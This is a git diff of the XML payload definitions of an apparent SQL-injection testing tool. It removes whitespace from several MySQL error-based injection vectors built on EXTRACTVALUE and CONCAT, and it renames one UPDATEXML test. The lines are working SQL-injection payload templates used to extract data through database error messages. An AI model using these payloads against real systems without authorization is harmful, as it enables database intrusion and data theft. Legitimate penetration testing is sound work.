diff --git a/xml/payloads.xml b/xml/payloads.xml
index c4eabeb7e..5afbb07af 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1234,9 +1234,9 @@ Formats:
         <risk>2</risk>
         <clause>1</clause>
         <where>1</where>
-        <vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
+        <vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
         <request>
-            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
+            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -1479,9 +1479,9 @@ Formats:
         <risk>0</risk>
         <clause>1,2,3</clause>
         <where>3</where>
-        <vector>(EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))</vector>
+        <vector>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))</vector>
         <request>
-            <payload>(EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')))</payload>
+            <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -1620,9 +1620,9 @@ Formats:
         <risk>0</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>,EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
+        <vector>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
         <request>
-            <payload>,EXTRACTVALUE([RANDNUM], CONCAT('\', '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
+            <payload>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -1634,7 +1634,7 @@ Formats:
     </test>
 
     <test>
-        <title>MySQL &gt;= 5.1 error-based - Parameter replace (UPDATEXML)</title>
+        <title>MySQL &gt;= 5.1 error-based - GROUP BY and ORDER BY clauses (UPDATEXML)</title>
         <stype>2</stype>
         <level>4</level>
         <risk>0</risk>